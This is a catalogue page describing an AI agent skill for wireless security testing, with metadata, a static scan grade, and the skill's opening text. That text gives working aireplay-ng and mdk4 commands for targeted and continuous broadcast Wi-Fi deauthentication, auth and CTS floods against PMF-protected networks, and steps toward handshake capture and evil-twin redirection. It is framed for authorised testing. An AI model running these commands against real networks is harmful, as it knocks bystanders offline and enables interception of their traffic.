offensive-deauth-disassoc

offensive-deauth-disassoc is a skill for Claude Code, Codex from Miosa-osa/OSA. It costs 103 tokens per session (1,563 once invoked), scanned B, original, Apache-2.0.

A wireless-security testing guide to deauthentication and disassociation attacks against Wi-Fi networks. These attacks force devices to disconnect and can be used in authorised tests of wireless protections.

In plain words
What is it for?
Use it to test single-device and broadcast disconnect scenarios, handshake-capture defenses, beacon flooding, and PMF-aware network controls.
Why use it?
It helps assess whether Wi-Fi networks resist forced disconnects and related management-frame attacks. It also covers protections such as Protected Management Frames (PMF).

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade B, and why

offensive-deauth-disassoc scanned grade B with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

How it starts

The opening of the file, as written. The whole thing — 173 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.

Quick Workflow

  1. Identify target client + AP (BSSID, channel)
  2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
  3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
  4. Send the deauth burst at the right rate

Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
  • More than 30 in a burst is unnecessarily noisy.

Broadcast Deauth (DoS, Use Sparingly)

# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
PMF Status Deauth Effect
Off Classic deauth works
Capable (optional) Works against clients without PMF, fails against PMF-enabled clients
Required Classic deauth ignored — must use action-frame attacks

Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID>     # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID>     # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID>     # WPA-Enterprise: SAE auth flood

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

offensive-deauth-disassoc is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 103 tokens to every session and 1,563 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it B with 1 finding (asks for root). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-14.
